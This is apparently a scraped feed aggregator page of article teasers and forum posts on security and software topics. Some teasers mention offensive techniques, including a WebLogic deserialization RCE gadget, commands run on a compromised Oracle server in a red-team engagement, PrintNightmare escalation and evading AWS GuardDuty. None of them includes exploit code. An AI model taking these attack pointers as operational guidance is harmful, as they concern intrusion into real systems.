作者：墨云科技 VLab Team 原文链接：https://mp.weixin.qq.com/s/fFx1kQVfotbOqHlSjSJVMQ 漏洞简述 这是一个反序列化漏洞,是一条新的gadget,在低版本的JDK中可能会造成RCE风险。 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本。 首先会调用BadAttributeValueExpException.read...

作者：墨云科技 VLab Team 原文链接：https://mp.weixin.qq.com/s/fFx1kQVfotbOqHlSjSJVMQ 漏洞简述 这是一个反序列化漏洞,是一条新的gadget,在低版本的JDK中可能会造成RCE风险。 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本。 首先会调用BadAttributeValueExpException.read...

作者：ryze@nop 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 0x00 前言 起因是在某红队项目中，获取到Oracle数据库密码后，利用Github上的某数据库利用工具连接后，利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误，且文件管理功...

作者：ryze@nop 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 0x00 前言 起因是在某红队项目中，获取到Oracle数据库密码后，利用Github上的某数据库利用工具连接后，利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误，且文件管理功...

作者：墨云科技 VLab Team 原文链接：https://mp.weixin.qq.com/s/fFx1kQVfotbOqHlSjSJVMQ 漏洞简述 这是一个反序列化漏洞,是一条新的gadget,在低版本的JDK中可能会造成RCE风险。 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本。 首先会调用BadAttributeValueExpException.read...

作者：墨云科技 VLab Team 原文链接：https://mp.weixin.qq.com/s/fFx1kQVfotbOqHlSjSJVMQ 漏洞简述 这是一个反序列化漏洞,是一条新的gadget,在低版本的JDK中可能会造成RCE风险。 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本。 首先会调用BadAttributeValueExpException.read...

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

时间序列相似性度量方法 时间序列相似性度量常用方法为欧氏距离ED(Euclidean distance)和动态时间规整DTW(Dynamic Time Warping)。总体被分为两类: 锁步度量(lock-step measures) 和弹性度量(elastic measures) 。锁步度量是时  ( 1 min )

本篇其实算之前安全整改话题的一点补充，对之前内容感兴趣的可以走以下快捷通道： 安全漏洞整改系列（二） 安全漏洞整改系列（一） 背景 前不久某家客户对我们提供的系统又进行了一轮安全测试，其中有一条我觉得很有意思，也算是刷新了我的认知，那就是“pdf预览存在xss注入”，在此跟大家分享一波，也算是相互提

​目前创业，最后一家公司任职医疗科技公司的研发中心总经理，之前也在几家公司的任职研发/技术总监岗位，在我理解的范围，目前国内中小企业对于CTO/技术总监的岗位区别没有那么明确的职能区分。 1. 先总结 我先概要性总结一下CTO/技术总监的作用： ❶ CTO/技术总监应具有企业技术方向的整体把控力，也

企业级数仓架构设计与选型的时候需要从开发的便利性、生态、解耦程度、性能、 安全这几个纬度思考。本文作者：惊帆 来自于数据平台 EMR 团队 前言 Apache Hive 经过多年的发展，目前基本已经成了业界构建超大规模数据仓库的事实标准和数据处理工具，Hive 已经不单单是一个技术组件，而是一种设计  ( 4 min )

大家好，我是小林。 在逛牛客网的面经的时候，发现有位同学在面微信的时候，被问到这个问题： 第一个问题就是：一致性哈希是什么，使用场景，解决了什么问题？ 这个问题还挺有意思的，所以今天就来聊聊这个。 发车！ 如何分配请求？ 大多数网站背后肯定不是只有一台服务器提供服务，因为单机的并发量和数据量都是有限  ( 1 min )

介绍 云函数是一项 Serverless 计算服务，提供 FaaS（Function as a Service）能力，可以帮助开发者大幅简化应用开发与运维相关事务，降低应用功能的实现门槛，快速构建业务能力。下面将介绍如何在 Flutter 框架下集成云函数。 集成步骤 1. 安装 flutter 环  ( 1 min )

Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙，墙外面的人想进去，墙里面的人却想出来 垃圾收集概述 Java内存模型中的堆和方法区是垃圾收集技术所需要关注的终点，因为其他的区域会跟随线程的结束而自动回收。 而需要解决垃圾收集的首要目标便是解决如何判断一个对象已经不需要了从而自动进

背景 去年写了一篇“【曹工杂谈】Mysql客户端上，时间为啥和本地差了整整13个小时，就离谱 ”，结果最近还真就用上了。 不是我用上，是组内一位同事，他也是这样：有个服务往数据库insert记录，记录里有时间，比如时间A。然后写进数据库后，数据库里的时间是A-13，晚了13小时。然后就改了这么个地方  ( 1 min )

1、os模块介绍 os模块提供了多数操作系统的功能接口函数。当os模块被导入后，它会自适应于不同的操作系统平台，根据不同的平台进行相应的操作。 在Python编程时，os模块可以处理文件和目录这些我们日常手动需要做的操作，例如：显示当前目录下所有文件、删除某个文件、获取文件大小等等。 在Python  ( 1 min )

在我们的页面中，经常会出现这样的问题，一块区域内的文本或者边框，在展示的时候，变得特别的模糊，如下(数据经过脱敏处理)： 正常而言，应该是这样的： emmm，可能大图不是很明显，我们取一细节对比，就非常直观了： 何时触发这种现象？ 那么？什么时候会触发这种问题呢？在 Google 上，其实我们能搜到  ( 1 min )

LibOpenCM3 是GPL协议(LGPL3)的Cortex-M系列的固件库, 支持stm32、atmel、nxp系列单片机. 这个固件库对标的是 CMSIS, 但是比 CMSIS 提供更多的方法接口, 实现度介于 CMSIS 和 SPL 之间. 对于常见的 STM32F1 系列, 代码已经基本稳...  ( 3 min )

本文概要介绍使用VS Code开发TypeScript的过程。  ( 1 min )

Environment的中文意思是环境，它表示整个spring应用运行时的环境信息，它包含两个关键因素 profiles properties profiles profiles这个概念相信大家都已经理解了，最常见的就是不同环境下，决定当前spring容器中的不同配置上下文的解决方案。比如针对开发环  ( 1 min )

《从零开始, 开发一个 Web Office 套件》系列博客目录 这是一个系列博客, 最终目的是要做一个基于HTML Canvas 的, 类似于微软 Office 的 Web Office 套件, 包括: 文档, 表格, 幻灯片... 等等. 对应的Github repo 地址: https://g  ( 1 min )

一、业务背景 当今时代处在信息大爆发的时代，信息借助互联网的潮流在全球自由的流动，产生了各式各样的平台系统和软件系统，越来越多的业务也会导致系统的复杂性。 当核心业务出现了问题影响用户体验，开发人员没有及时发现，发现问题时已经为时已晚，又或者当服务器的CPU持续增高，磁盘空间被打满等，需要运维人员及  ( 1 min )

在之前的系列文章中聊过分布式事务的一种实现方案，即通过在集群中暴露actor服务来实现分布式事务的本地原子化。但是actor服务本身有其特殊性，场景上并不通用。所以今天来讲讲分布式事务实现方案之saga模式，并在文后附上代码供各位读者参考，评论。 目录：一、通过Dapr实现一个简单的基于.net的微  ( 1 min )

热点随笔： · 2021年度总结 | 葡萄城软件开发技术回顾（下） (葡萄城技术团队)· 从MVC到DDD的架构演进 (木小丰)· 3.6 万颗星！开源 Web 服务器后起之秀，自带免费 HTTPS 开箱即用 (削微寒)· ASP.NET Core 6框架揭秘实例演示[01]： 编程初体验 (Art

提示：本系列笔记全部存在于 Github， 可以直接在 Github 查看全部笔记 企业级最流行的私有代码仓库是 Gitlab， 一开始我也打算部署 Gitlab作为私有代码仓库。 但部署完成后发现， Gitlab 资源占用太大了。优化之后也要占用 3g 内存，最后只好放弃这一方案。 随后发现了 G  ( 2 min )

我们用一个系列来讲解从需求到上线、从代码到k8s部署、从日志到监控等各个方面的微服务完整实践，整个项目使用了go-zero开发，基本包含了go-zero以及go-zero作者开发的一些中间件，所用到的技术栈基本是go-zero的自研组件。  ( 1 min )

开心一刻 那天知道她结婚了，我整整一个晚上没睡觉，开了三百公里的车来到她家楼下，缓缓的抽了一支烟...... 天渐渐凉了，响起了鞭炮声，迎亲车队到了，那天披着婚纱的她很美，真的很美！ 我跟着迎亲车队开了几公里的时候，收到了她的信息：别送了，别送了，你的手扶拖拉机太响了 ...... 前情回顾 楼主一  ( 1 min )

Dear blog readers, Did you already pull my public and free STIX STIX2 TAXII threat intelligence feed using your and your organization's Lifetime API Key? In this post I've decided to elaborate more and offer practical advice and links in terms of how you can pull and integrate my daily updated STIX STIX2 TAXII threat intelligence feed in your firewall or security solution and how you can actually use your Lifetime API Key for my feed in Maltego for possible enrichment of your IoCs (Indicators of Compromise). Here's your Lifetime API Key for you and your organization - f8aa0cca-a0ac-4eff-9c03-1c86ad7aee93 Portal: https://ddanchev.ngrok.io API: https://ddanchev.ngrok.io/graphql API Documentation: https://luatix.notion.site/GraphQL-API-cfe267386c66492eb73924ef059d6d59 API Client: https://opencti-client-for-python.readthedocs.io/en/3.3.0/pycti/pycti.html API requirements: https://github.com/amr-cossi/opencti-maltego/blob/master/config.py.sample TAXII Collection: https://ddanchev.ngrok.io/taxii2/root/collections/c2259b20-9c60-4ddd-8931-8de970440f06/objects Bearer Token Authentication Required: https://github.com/OpenCTI-Platform/opencti/issues/1198 Maltego transforms available: - https://www.maltego.com/downloads/ - https://www.maltego.com/transform-hub/opencti/ - https://www.maltego.com/transform-hub/stix/ As always feel free to drop me a line at dancho.danchev@hush.com in case you have any questions. Full list of solutions compatible with STIX STIX2 and TAXII EventLog Analyzer ThreatConnect Azure Sentinel Splunk Cisco Elemendar Cortex XSOAR TrendMicro ArcSight Microsoft Sentinel EventTracker Plixer Scrutinizer Sumo Logic Kaspersky CyberTrace ServiceNow CheckPoint ThreatCloud Carbon Black EDR Cisco Email Gateway ThreatConnect LogPoint Tanium Symantec LogRhythm Infoblox Cloudera Sample screenshots of my STIX STIX2 TAXII Threat Intelligence feed in combination with Maltego: Enjoy!

O quanto de informação pessoal e íntima divulgamos nas mídias sociais de forma espontânea e despreocupada? Continue reading on Medium »  ( 3 min )

Thirteen. Unlucky for some. Let’s see how you could solve Hacktoria’s practice challenge: Geolocation 13. I confess I was very excited… Continue reading on Medium »  ( 3 min )

submitted by /u/chicksdigthelongrun [link] [comments]

submitted by /u/jafarlihi [link] [comments]  ( 1 min )

submitted by /u/naksyn_ [link] [comments]

Hey there! My name is Faizan and this write up is about an interesting Stored XSS I found earlier today! If you know what an XSS aka Cross… Continue reading on Medium »  ( 1 min )

A restricted browser, that’s all you have… what do you do? Continue reading on Medium »  ( 3 min )

Burp Suite is an intercepting tool which can be used to capture and manipulate all of the data traffic between Client and Server. This… Continue reading on Medium »  ( 2 min )

A Feature that almost broke Google Groups !! Continue reading on InfoSec Write-ups »  ( 3 min )

Hello Everyone, This is Abhishek Kashniyal, I am a CSE student with specialization in Cyber Security & Forensics, a constant learner and… Continue reading on Medium »  ( 2 min )

What is Algolia? Continue reading on Medium »  ( 1 min )

http://djbloom.info/Music/My%20Music/ submitted by /u/CalmWater8439 [link] [comments]  ( 1 min )

Just what the title says. I have some music, movies, documents, etc that I'd like to share, but I don't want to take up or make an entire Google Drive account just for some files. Any help getting started would be greatly appreciated! submitted by /u/Reggie_Smith_89 [link] [comments]  ( 4 min )

what would a company look for when hiring junior infosec analysts? i just started as a junior help desk technician and i hear that experience is better than certs i just want to get an idea of what a company will look for when hiring a junior infosec analyst also is it possible to go from help desk to infosec? submitted by /u/Jkarl0880 [link] [comments]  ( 1 min )

I pivoted from a technical security role to a customer facing technical/management role for a cybersecurity SaaS company a couple years ago. I’ve been considering getting back into the security engineering/architect side of things. One area I’m finding seems to be a requirement for most roles is experience in cloud security like mastery of AWS. I’m also noticing requirements for experience in container tools such as Kubernetes. This isn’t experience I can gain on the job right now. Any suggestions on how I can get experience that matters for these technologies? I don’t want to fall behind and lose any chance of working in a direct security role again submitted by /u/7heJoker [link] [comments]  ( 1 min )

Anybody by some chance has some sources on the new CVE of score 10 impacting SAP NetWeaver? I can't find any details of the specific vulnerable mechanism that allowed the request smuggling. Thanks :) submitted by /u/Altiverses [link] [comments]  ( 1 min )

Trying to learn reverse-engineering and binary exploitation and I came across this playlist, Watched a few videos but didn't got a thing, it feels like I'm missing some knowledge gaps in between, Can someone please give me a clear roadmap so that I can start using Radare2? ​ Edit: after radare, I wanna learn Ghidra lol submitted by /u/The_Intellectualist [link] [comments]  ( 2 min )

I have recently interviewed for an entry-level SOC role, and my expectation is a bit mixed. It is a cybersecurity company that provides services such as SIEM monitoring, pen-testing, threat hunting, etc. The X company has 5 people, including the CEO and CTO. And around 300 customers. The role is to sit with the SOC team, check alerts, and then give customers a summary each quarter of what happened within that period. The job title was listed as a cyber security engineer, and the job description mentioned Analysis of security incidents Incident Response Teams Threat Hunting Security advice During the interview, they asked me two times specifically how I felt about giving security advice to customers, is it normal that the junior SOC gives security advice to customers? Or is this a good way to get into the "cyber world", then apply for new jobs after 1 year? Going to graduate with my BS this summer, so trying to land a job before I graduate. submitted by /u/PapiPoseidon [link] [comments]  ( 1 min )

Servlet内存马的最后一篇，直接从加载开始说起。  ( 1 min )

今日暂未更新资讯~ 更多最新文章，请访问SecWiki  ( 2 min )

今日暂未更新资讯~ 更多最新文章，请访问SecWiki  ( 2 min )

"Telegram for iOS: Access and decode secret chats which can only be accessed on their devices of origin. You can also recover deleted messages." im in too deep this forensic thingy is kinda exciting and im in a business major. I guess one can really recover deleted telegram chats using cellebrite! amazing submitted by /u/b4dboyrere [link] [comments]  ( 1 min )

What kind of data are included in apple icloud productions ? do they include permanently deleted files notes, media? submitted by /u/b4dboyrere [link] [comments]  ( 1 min )

hello friends to make things short, I am an IT Auditor with 1.5 years of experience, and I hate the part of dealing with people in IT Audit. but its very essential to deal with people there. so decided to jump to forensics, do you people deal with humans or simply have to worry about machines and that is it? and, i am cisa certified, will that help? what certification do you suggest taking for computer forensics? and how is the pay for IT Audit vs Computer forensics? in short, do you recommend the shift or not? thx submitted by /u/ItchyPilot9804 [link] [comments]  ( 2 min )

컬리넌 로그 #27입니다. 조금 오랜만에 올리게되는 것 같습니다. Add category cullinan Add OWASP ZAP Add Insecure Deserialization Change SQLMap (Add scanning to X) ZAP과 Insecure Deserialization이 새로 추가됬고, SQLMap 쪽에 일부 수정이 있었습니다. ZAP은 아마… 수정을 굉장히 자주하게 될 것 같습니다. 양이 워낙 방대해서리 😵‍💫 그리고 Cullinan 전체적으로 기능들을 좀 더 추가중인데, 첫 단추로 categories 적용이 완료되었습니다. 그럼 이만 👋🏼

🔍 Introduction Insecure Deserialization은 직역한 그대로 안전하지 않은 역직렬화를 의미합니다. Deserialization 시 개발자가 의도하지 않은 Object 까지 Deserialize하여 비즈니스 로직상의 문제를 발생시키거나, 조건에 따라서는 어플리케이션이 공격자가 의도한 코드를 수행하게끔 구성할 수 있어 리스크가 높습니다. 먼저 Serialization/Deserialization 을 알아보면 보통 개발 과정에서 메모리에 있는 Object를 파일 등 외부의 데이터로 변환하는 과정을 Serialization, 반대로 파일 등 외부에 있는 데이터를 프로그램 내 Object로 변환하는 과정을 Deserialization이라고 합니다. 🗡 Offensive techniques Detect Deserialization은 소스코드를 보지 않은 상태에선 명확하게 Deserialization 프로세스라고 확신하기 어렵습니다.

Introduction ZAP(Zed Attack Proxy)은 OWASP의 Flagship 프로젝트로 Vulnerability Assessment, Penetration Testing, Runtime Testing, Code Review를 위한 보안 테스팅 도구이자 취약점 스캐너입니다. Burpsuite와 함께 보안 엔지니어, 버그바운티헌터 등의 주력 도구로 사용되고 있고, Cli command, REST API 그리고 Jenkins plugin, Github action 등을 제공하고 있어 DevSecOps 즉 CI/CD Pipeline 상에서의 DAST 스캐너로도 많이 사용되고 있습니다. 개인적으로 정말 좋아하는 프로젝트입니다. 다른건 몰라도 Fuzzer / Scripting은 비교할 수 있는 도구가 없습니다. 최고에요! Installation 아래 URL에서 각 OS 맞는 Installer 패키지를 통해 설치하시면 됩니다.

Mattermost disclosed a bug submitted by rynexxx: https://hackerone.com/reports/1442017 - Bounty: $50

Article URL: https://www.thecybersecuritytimes.com/the-red-cross-data-breach-exploited-a-manageengine-vulnerability-by-apt27/ Comments URL: https://news.ycombinator.com/item?id=30403952 Points: 1 # Comments: 1  ( 4 min )

A short article outlining the phases to go through, while planning a red team engagement. Continue reading on Medium »  ( 2 min )

Article URL: https://ubuntu.com/security/notices/USN-4728-1 Comments URL: https://news.ycombinator.com/item?id=30401324 Points: 1 # Comments: 0  ( 2 min )

Has anyone else come across a printer that was assigned a drive letter? I’ve never seen this in my personal life but it stood out to me while I was working a case. In this instance, it was a Brother printer assigned to D:. Does doing this provide any additional functionality rather than just printing documents? submitted by /u/ebarboza311 [link] [comments]  ( 1 min )

Hi guys what can be the reason to not have a $UsnJrnl on an NTFS filesystem? submitted by /u/Donato_Francesco [link] [comments]  ( 1 min )

Vous souhaitez améliorer vos requêtes lors d’une recherche sur votre concurrent ou sur votre marché ? Continue reading on Medium »  ( 3 min )

Dnstwist is an open-source tool used to identify phishing domains, Typosquatting domains, attack domains, and brand impersonate. Dnstwist… Continue reading on Medium »  ( 1 min )

And back again with another Hacktoria Geolocation challenge to solve. I love GEOINT challenges, especially when they force me to learn… Continue reading on InfoSec Write-ups »  ( 6 min )

I keep getting these notifications without me trying to install any new device or driver. I would like to know what is the source of this? I tried to look into my event viewer without success. submitted by /u/ak_z [link] [comments]  ( 1 min )

Thank you. submitted by /u/jacobspartan1992 [link] [comments]  ( 1 min )

Hey Chief, I'm trying to get ahead in reversing binaries, and I really ain't got any idea about which framework should I pick up first, Can you help? submitted by /u/The_Intellectualist [link] [comments]  ( 2 min )

Why SOC 2 report are made by CPA ? For SOC 1 I get it, but not SOC 2. How can they audit IT security being accountant? submitted by /u/Xctzn [link] [comments]  ( 2 min )

Introduction Print Spooler has been on researcher’s radar ever since Stuxnet worm used print spooler’s privilege escalation vulnerability to spread through the network in nuclear The post Windows Privilege Escalation: PrintNightmare appeared first on Hacking Articles.  ( 9 min )

Introduction Print Spooler has been on researcher’s radar ever since Stuxnet worm used print spooler’s privilege escalation vulnerability to spread through the network in nuclear The post Windows Privilege Escalation: PrintNightmare appeared first on Hacking Articles.  ( 9 min )

今日暂未更新资讯~ 更多最新文章，请访问SecWiki  ( 2 min )

今日暂未更新资讯~ 更多最新文章，请访问SecWiki  ( 2 min )

TL;DR This blog post takes a brief look at how to use JXA (native JavaScript for Automation on macOS) to query Spotlight APIs. In… Continue reading on Medium »  ( 3 min )

Attacktive Directory is a box hosted on Try Hack Me. This is medium rated box, but great for any new Red Team Member or penetration… Continue reading on Medium »  ( 2 min )

Local File inclusion Continue reading on System Weakness »  ( 3 min )

Bir web uygulamasında kullanılan veriler dış bir kaynak aracılığıyla alınıyorsa ve saldırgan web sunucusunun göndermiş olduğu istek… Continue reading on Medium »  ( 7 min )

submitted by /u/ly4k_ [link] [comments]

submitted by /u/ly4k_ [link] [comments]  ( 1 min )

submitted by /u/PM_ME_TO_PLAY_A_GAME [link] [comments]

submitted by /u/digicat [link] [comments]

研究人员发现了 Lazarus 的新攻击行动，利用国防部门的就业岗位信息进行诱饵钓鱼。

Article URL: https://github.com/libexpat/libexpat/blob/R_2_4_5/expat/Changes Comments URL: https://news.ycombinator.com/item?id=30393397 Points: 1 # Comments: 0  ( 21 min )

submitted by /u/markcartertm [link] [comments]  ( 1 min )

submitted by /u/Tradition_Wonderful [link] [comments]

submitted by /u/0xdea [link] [comments]  ( 1 min )

submitted by /u/d_o_d_o_ [link] [comments]  ( 1 min )

submitted by /u/digicat [link] [comments]

submitted by /u/hashput1n [link] [comments]

How is working for a computer forensics job like? Is it easy as simple as just plugging a hard drive or phone or anything that needs data recovery to retrieve data back or is it much harder and more work? Just wondering because i am a computer science major currently a freshman I might want to do computer forensics because it interests me. submitted by /u/Ill-Date-1852 [link] [comments]  ( 2 min )

I know when u delete something, it never really gets deleted. So just curious, where does cleared browsing history for chrome/safari go to? and are we able to retrieve it? submitted by /u/b4dboyrere [link] [comments]  ( 1 min )

I have recently graduated from college with a Bachelors in df but the school I went to really was more geared towards what police officers deal with (like criminal activity and all). How should I really go about learning more of the incident response side of forensics? Any good references to YouTube channels, textbooks, websites, etc is much appreciated! submitted by /u/JunketThat2134 [link] [comments]  ( 5 min )

eLearnSecurity Certified Penetration Tester eXtreme Continue reading on The Mayor »  ( 4 min )

In January 20, 2022 Amazon AWS has introduced a new threat detection in GuardDuty to block credential exfiltrations. Can be bypassed? Continue reading on Dev Genius »  ( 4 min )

In January 20, 2022 Amazon AWS has introduced a new threat detection in GuardDuty to block credential exfiltrations. Can be bypassed? Continue reading on Medium »

So there's an album I'm wanting to download from an OD (Queen's complete Platinum Collection which includes over 200 mins of music) and I'm wanting to know if there is a way to go and bulk download all the files without having to press a link, right click, and click "Save audio as..." every time. submitted by /u/Raven_Claw7621 [link] [comments]  ( 1 min )